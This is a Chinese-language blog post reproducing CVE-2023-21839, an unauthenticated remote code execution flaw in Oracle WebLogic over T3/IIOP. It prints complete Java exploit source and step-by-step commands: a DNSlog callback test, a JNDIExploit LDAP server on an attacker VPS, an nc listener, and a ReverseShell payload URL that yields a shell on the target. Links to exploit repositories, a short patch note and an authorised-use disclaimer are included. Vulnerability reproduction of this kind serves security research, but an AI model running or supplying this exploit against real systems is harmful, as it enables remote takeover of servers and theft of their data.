Weblogic远程代码执行CVE-2023-21839/CNVD-2023-04389漏洞复现
- WebLogic_Server = 12.2.1.3.0
- WebLogic_Server = 12.2.1.4.0
- WebLogic_Server = 14.1.1.0.0
- CNVD-2023-04389
- CVE-2023-21839
漏洞复现
安装环境
POC代码如下:
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.lang.reflect.Field;
import java.util.Hashtable;
import java.util.Random;
public class CVE_2023_21839 {
static String JNDI_FACTORY="weblogic.jndi.WLInitialContextFactory";
static String HOW_TO_USE="[*]java -jar 目标ip:端口 ldap地址ne.g. java -jar 192.168.220.129:7001 ldap://192.168.31.58:1389/Basic/ReverseShell/192.168.220.129/1111";
private static InitialContext getInitialContext(String url)throws NamingException
{
Hashtable<String,String> env = new Hashtable<String,String>();
env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
env.put(Context.PROVIDER_URL, url);
return new InitialContext(env);
}
public static void main(String args[]) throws Exception {
if(args.length <2){
System.out.println(HOW_TO_USE);
System.exit(0);
}
String t3Url = args[0];
String ldapUrl = args[1];
InitialContext c=getInitialContext("t3://"+t3Url);
Hashtable<String,String> env = new Hashtable<String,String>();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
weblogic.deployment.jms.ForeignOpaqueReference f=new weblogic.deployment.jms.ForeignOpaqueReference();
Field jndiEnvironment=weblogic.deployment.jms.ForeignOpaqueReference.class.getDeclaredField("jndiEnvironment");
jndiEnvironment.setAccessible(true);
jndiEnvironment.set(f,env);
Field remoteJNDIName=weblogic.deployment.jms.ForeignOpaqueReference.class.getDeclaredField("remoteJNDIName");
remoteJNDIName.setAccessible(true);
remoteJNDIName.set(f,ldapUrl);
String bindName = new Random(System.currentTimeMillis()).nextLong()+"";
try{
c.bind(bindName,f);
c.lookup(bindName);
}catch(Exception e){ }
}
}
请自行编译上述POC代码,如有需要文章最后会给出编译好的JAR文件
测试DNSlog出网,生成域名
java -jar Weblogic-CVE-2023-21839.jar 192.168.200.5:7001 ldap://pktnfv.dnslog.cn
使用JNDIExploit-1.4-SNAPSHOT.jar工具启动ladp服务
加载漏洞利用poc
java -jar JNDIExploit-1.4-SNAPSHOT.jar -i ip(VPS的IP地址)
使用nc监听反弹端口
在本机上执行漏洞利用代码
java -jar Weblogic-CVE-2023-21839.jar 192.168.200.5:7001 ldap://vsp的ip地址:1389/Basic/ReverseShell/vsp的ip地址/VPS的nc监听端口
JNDI有连接进入,大概几秒后会获取shell
NC获的shell如图:
修复建议
目前厂商已发布升级补丁以修复漏洞,补丁获取链接:
缓解方式禁用 T3 及 IIOP
下载地址汇总:
补丁下载链接:
https://support.oracle.com/rs?type=doc&id=2917213.2
https://github.com/WhiteHSBG/JNDIExploitWeblogic-CVE-2023-21839.jar
NC下载地址:
https://nmap.org/dist/ncat-portable-5.59BETA1.zip
https://github.com/DXask88MA/Weblogic-CVE-2023-21839
https://github.com/WhiteHSBG/JNDIExploit
https://github.com/4ra1n/CVE-2023-21839
0x01 阅读须知
技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他!!!
技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他!!!
THE END
0
二维码
海报
Weblogic远程代码执行CVE-2023-21839/CNVD-2023-04389漏洞复现
WebLogic 存在远程代码执行漏洞(CVE-2023-21839/CNVD-2023-04389),由于Weblogic IIOP/T3协议存在缺陷,当IIOP/T3协议开启时,允许未经身份验证的攻击者通过IIOP/T3协议网络访问攻击存在安全风险的WebLogic Ser……
zero
weblcx@zero
漏洞空间@zero